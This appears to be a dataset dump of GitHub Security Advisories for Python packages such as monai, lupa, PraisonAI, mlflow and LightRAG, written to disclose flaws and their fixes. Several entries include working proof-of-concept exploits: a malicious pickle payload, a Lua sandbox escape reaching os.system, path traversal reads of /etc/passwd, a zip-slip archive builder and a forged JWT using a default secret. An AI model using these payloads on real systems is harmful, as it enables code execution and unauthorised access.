deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-89gg-p5r5-q6r4
Package: monai (PIP)
Severity: HIGH (CVSS 7.6)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 1.5.1
Patched in: 1.5.2

Summary: MONAI: Unsafe functions lead to pickle deserialization rce

Details:
### Summary
The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

### Details
poc
```
import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

```
Generate the malicious file "attack_algo.pkl" through POC.

```
from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
```
Ultimately, it will trigger pickle.load through a file to identify the command execution.

<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />

Causes of the vulnerability:
```
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

```



### Impact
Arbitrary code execution

Repair suggestions
Verify the data source and content before deserializing, or use a safe deserialization method
GitHub Security Advisory: GHSA-69v7-xpr6-6gjm
Package: lupa (PIP)
Severity: HIGH (CVSS 10.0)
CWE: CWE-284: Improper Access Control, CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 2.6
Patched in: unpatched

Summary: Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr

Details:
### Summary
The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.

However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

### Details
The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.

In practice, it only applies to direct attribute access:
- `obj.attr` → filtered
- `getattr(obj, "attr")` → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.

An attacker can use getattr to-
- Access `__class__`
- Walk the `__mro__` chain
- Call `__subclasses__()`
- Iterate over available classes
- Find a function that exposes `__globals__`
- Retrieve something like `os.system`

At that point, arbitrary command execution becomes straightforward.

This effectively breaks the security boundary that `attribute_filter` is expected to enforce.


### PoC
The following example shows how the filter can be bypassed to execute `os.system`:'
```
import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end
""")
```


### Impact
An attacker who can execute Lua code can:
- Bypass the `attribute_filter`
- Access Python internals
- Traverse the object graph
- Reach execution primitives

This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.
GitHub Security Advisory: GHSA-hqmj-h5c6-369m
Package: onnx (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-345: Insufficient Verification of Data Authenticity, CWE-494: Download of Code Without Integrity Check, CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 1.20.1
Patched in: 1.21.0

Summary: ONNX Untrusted Model Repository Warnings Suppressed by silent=True in onnx.hub.load() — Silent Supply-Chain Attack

Details:
## What's the issue
Passing `silent=True` to `onnx.hub.load()` kills all trust warnings and user prompts. This means a model can be downloaded from any unverified GitHub repo with zero user awareness.
 
```python
if not _verify_repo_ref(repo) and not silent:
    # completely skipped when silent=True
    print("The model repo... is not trusted")
    if input().lower() != "y":
        return None
```
 
On top of that, the SHA256 integrity check is useless here — it validates against a manifest that lives in the same repo the attacker controls, so the hash will always match.

 
## Impact
Any pipeline using `hub.load()` with `silent=True` and an external repo string is silently loading whatever the repo owner ships. If that model executes arbitrary code on load, the attacker has access to the machine.
 
## Resolved by removing the feature 
## References
 
- [Write-up](https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-28500.md)
GitHub Security Advisory: GHSA-693f-pf34-72c5
Package: PraisonAI (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.5.112
Patched in: 1.5.113

Summary: PraisonAI Has Path Traversal in FileTools

Details:
### Executive Summary:
The path validation has a critical logic bug: it checks for `..` AFTER `normpath()` has already collapsed all `..` sequences. This makes the check completely useless and allows trivial path traversal to any file on the system.
The path validation function also does not resolve the symlink wich could potentially cause path traversal.

### Details:
`_validate_path()` calls `os.path.normpath()` first, which collapses `..` sequences, then checks for `'..'` in normalized. Since `..` is already collapsed, the check always passes.

**Vulnerable File:**
`src/praisonai-agents/praisonaiagents/tools/file_tools.py`

**Lines:**
42-49

```python
class FileTools:
    """Tools for file operations including read, write, list, and information."""
    
    @staticmethod
    def _validate_path(filepath: str) -> str:
        # Normalize the path
        normalized = os.path.normpath(filepath)
        absolute = os.path.abspath(normalized)
        
        # Check for path traversal attempts (.. after normalization)
        # We check the original input for '..' to catch traversal attempts
        if '..' in normalized:
            raise ValueError(f"Path traversal detected: {filepath}")
        
        return absolute
```

**Severity:** CRITICAL

**CVSS v3.1:** 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

**CWE:** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

### Proof of concept (PoC)

**Prerequisites:**
- Ability to specify a file path can call file operations

**Steps to reproduce:**
poc.py
```python
from praisonaiagents.tools.file_tools import FileTools

print(FileTools._validate_path('/tmp/../etc/passwd'))
# Returns: /etc/passwd

print(FileTools.read_file('/tmp/../etc/passwd'))
# Returns: content of /etc/passwd
```

**Why this works:**
```python
# Current vulnerable code:
normalized = os.path.normpath(filepath)  # Collapses .. HERE
absolute = os.path.abspath(normalized)
if '..' in normalized:  # Check AFTER collapse - ALWAYS FALSE!
    raise ValueError(...)
```

### Impact:
- **Complete bypass** of path traversal protection
- Access to ANY file on the system with path from any starting directory
- Read sensitive files: `/etc/passwd`, `/etc/shadow`, `~/.ssh/id_rsa`
- Write arbitrary files if combined with write operations
- Affect file operations `read_file`, `write_file`, `list_files`, `get_file_info`, `copy_file`, `move_file`, `delete_file`, `download_file`


### Additional Notes:
- **Fix:** Check for `'..' in filepath` BEFORE calling `normpath()`, not after
- `_validate_path` uses `os.path.normpath` and `os.path.abspath`, which don't resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.
GitHub Security Advisory: GHSA-jfxc-v5g9-38xr
Package: PraisonAI (PIP)
Severity: CRITICAL (CVSS 9.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 4.5.112
Patched in: 4.5.113

Summary: PraisonAI Vulnerable to Arbitrary File Write / Path Traversal in Action Orchestrator

Details:
The Action Orchestrator feature contains a Path Traversal vulnerability that allows an attacker (or compromised agent) to write to arbitrary files outside of the configured workspace directory. By supplying relative path segments (`../`) in the target path, malicious actions can overwrite sensitive system files or drop executable payloads on the host.

### Details
Location: `src/praisonai/praisonai/cli/features/action_orchestrator.py` (Lines 402, 409, 423)

Vulnerable Code snippet:
```python
target = workspace / step.target
```

In the `_apply_step` method, paths are constructed by concatenating the `workspace` path with a user-supplied `step.target` string: `target = workspace / step.target`. The code fails to resolve and validate that the final absolute path remains within the bounds of the `workspace` directory. When processing `FILE_CREATE` or `FILE_EDIT` actions, this flaw permits arbitrary file modification.

### PoC
Construct a malicious `ActionStep` payload with path traversal characters:

```python
from praisonai.cli.features.action_orchestrator import ActionStep, ActionType, ActionStatus

# Payload targeting a file outside the workspace
step = ActionStep(
    id="test_traversal",
    action_type=ActionType.FILE_CREATE,
    description="Malicious file write",
    target="../../../../../../../tmp/orchestrator_pwned.txt",
    params={"content": "pwned"},
    status=ActionStatus.APPROVED
)

# When the orchestrator applies this step, it writes to the traversed path
# _apply_step(step)
```

### Impact
This is an Arbitrary File Write vulnerability. Anyone running the Action Orchestrator to apply modifications is vulnerable. A malicious prompt could trick the agent into generating a plan that overwrites critical files (e.g., `~/.ssh/authorized_keys`, `.bashrc`) leading to Remote Code Execution (RCE) or system corruption.
GitHub Security Advisory: GHSA-4ph2-f6pf-79wv
Package: PraisonAI (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-23: Relative Path Traversal
Vulnerable versions: <= 4.5.112
Patched in: 4.5.113

Summary: PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

Details:
The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory. 

### Details
Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)

Vulnerable Code snippet:
```python
zip_ref.extractall(tmpdir)
```

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren't strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

### PoC
1. Generate a malicious zip payload:
```python
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
```
2. Trick a user into installing the malicious template:
```bash
praisonai templates install github:attacker/malicious_template
```
3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim's machine.

### Impact
This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).
GitHub Security Advisory: GHSA-7qhf-v65m-g5f3
Package: mlflow (PIP)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 3.10.1
Patched in: unpatched

Summary: mlflow: FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization

Details:
In mlflow/mlflow, the FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when the `basic-auth` app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.
GitHub Security Advisory: GHSA-qpc3-8vqg-8g6w
Package: pymetasploit3 (PIP)
Severity: CRITICAL (CVSS 8.6)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.0.6
Patched in: unpatched

Summary: pymetasploit3 vulnerable to command injection in console.run_module_with_output()

Details:
Command injection vulnerability in console.run_module_with_output() in pymetasploit3 through version 1.0.6 allows attackers to inject newline characters into module options such as RHOSTS. This breaks the intended command structure and causes the Metasploit console to execute additional unintended commands, potentially leading to arbitrary command execution and manipulation of Metasploit sessions.
GitHub Security Advisory: GHSA-hv3w-m4g2-5x77
Package: strawberry-graphql (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.312.2
Patched in: 0.312.3

Summary: strawberry-graphql: Denial of Service via unbounded WebSocket subscriptions

Details:
Strawberry GraphQL's WebSocket subscription handlers for both the `graphql-transport-ws` and legacy `graphql-ws` protocols allocate an `asyncio.Task` and associated `Operation` object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection.

An unauthenticated attacker can open a single WebSocket connection, send connection_init, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new `asyncio.Task` and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash.
GitHub Security Advisory: GHSA-vpwc-v33q-mq89
Package: strawberry-graphql (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: <= 0.312.2
Patched in: 0.312.3

Summary: strawberry-graphql: Authentication bypass via legacy graphql-ws WebSocket subprotocol

Details:
Strawberry up until version `0.312.3` is vulnerable to an authentication bypass on WebSocket subscription endpoints. The legacy graphql-ws subprotocol handler does not verify that a `connection_init` handshake has been completed before processing start (subscription) messages. This allows a remote attacker to skip the `on_ws_connect` authentication hook entirely by connecting with the graphql-ws subprotocol and sending a start message directly, without ever sending `connection_init`.

The graphql-transport-ws subprotocol handler is not affected, as it correctly gates subscription operations on a connection_acknowledged flag. However, both subprotocols are enabled by default in all framework integrations that support websockets, and the subprotocol is selected by the client via the Sec-WebSocket-Protocol header.

Any application relying on `on_ws_connect` for authentication or authorization is affected.

Mitigation: Upgrade to the patched version, or explicitly disable the legacy graphql-ws subprotocol by setting `subscription_protocols=[GRAPHQL_TRANSPORT_WS_PROTOCOL]` on your GraphQL view/router.
GitHub Security Advisory: GHSA-cjg8-h5qc-hrjv
Package: kedro-datasets (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 9.3.0
Patched in: 9.3.0

Summary: kedro-datasets has a path traversal vulnerability in PartitionedDataset that allows arbitrary file write

Details:
### Impact

PartitionedDataset in kedro-datasets was vulnerable to path traversal. Partition IDs were concatenated directly with the dataset base path without validation. An attacker or malicious input containing .. components in a partition ID could cause files to be written outside the configured dataset directory, potentially overwriting arbitrary files on the filesystem.
Users of PartitionedDataset with any storage backend (local filesystem, S3, GCS, etc.) are affected.

### Patches
Yes. The vulnerability has been patched in kedro-datasets version 9.3.0.
Users should upgrade to kedro-datasets >= 9.3.0. The fix normalizes constructed paths using `posixpath.normpath` and validates that the resolved path remains within the dataset base directory before use, raising a `DatasetError` if the path escapes the base directory.

### Workarounds
Users who cannot upgrade should validate partition IDs before passing them to PartitionedDataset, ensuring they do not contain `..` path components.

### References
Fix: https://github.com/kedro-org/kedro-plugins/pull/1346
Report: https://github.com/kedro-org/kedro/issues/5452
GitHub Security Advisory: GHSA-fqwm-6jpj-5wxc
Package: tornado (PIP)
Severity: HIGH (CVSS 7.2)
CWE: CWE-159: Improper Handling of Invalid Use of Special Elements
Vulnerable versions: < 6.5.5
Patched in: 6.5.5

Summary: Tornado has cookie attribute injection via .RequestHandler.set_cookie

Details:
In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to `.RequestHandler.set_cookie` were not checked for crafted characters.
GitHub Security Advisory: GHSA-mcww-4hxq-hfr3
Package: lightrag-hku (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-287: Improper Authentication
Vulnerable versions: <= 1.4.12
Patched in: 1.4.13

Summary: LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

Details:
Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret
Type: Improper Authentication (CWE-287)
Severity: High
Attack Vector: Remote / Unauthenticated

Summary:
The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:
1. Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
2. Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
3. Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
4. Access is granted without valid credentials

Suggested Fix:
Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards,
Venkata Avinash Taduturi
GitHub Security Advisory: GHSA-77rh-m34w-rv36
Package: agno (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Vulnerable versions: < 2.3.24
Patched in: 2.3.24

Summary: Agno is vulnerable to Eval Injection

Details:
Agno versions prior to 2.3.24 contain an arbitrary code execution vulnerability in the model execution component that allows attackers to execute arbitrary Python code by manipulating the field_type parameter passed to eval(). Attackers can influence the field_type value in a FunctionCall to achieve remote code execution.
GitHub Security Advisory: GHSA-rvhj-8chj-8v3c
Package: mflow (PIP)
Severity: CRITICAL (CVSS 9.6)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 3.9.0
Patched in: 3.9.0

Summary: Mflow: Command Injection when serving models with enable_mlserver=True

Details:
A command injection vulnerability exists in Mflow when serving a model with `enable_mlserver=True`. The `model_uri` is embedded directly into a shell command executed via `bash -c` without proper sanitization. If the `model_uri` contains shell metacharacters, such as `$()` or backticks, it allows for command substitution and execution of attacker-controlled commands. This vulnerability affects the latest version of mlflow/mlflow and can lead to privilege escalation if a higher-privileged service serves models from a directory writable by lower-privileged users.
GitHub Security Advisory: GHSA-jjhc-v7c2-5hh6
Package: litellm (PIP)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: < 1.83.0
Patched in: 1.83.0

Summary: LiteLLM: Authentication bypass via OIDC userinfo cache key collision

Details:
###  Impact

When JWT authentication is enabled (`enable_jwt_auth: true`), the OIDC userinfo cache uses `token[:20]` as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters.

This configuration option is not enabled by default. **Most instances are not affected.**

An unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled.

###  Patches

Fixed in v1.83.0. The cache key now uses the full hash of the JWT token.

###  Workarounds

Disable OIDC userinfo caching by setting the cache TTL to 0, or disable JWT authentication entirely.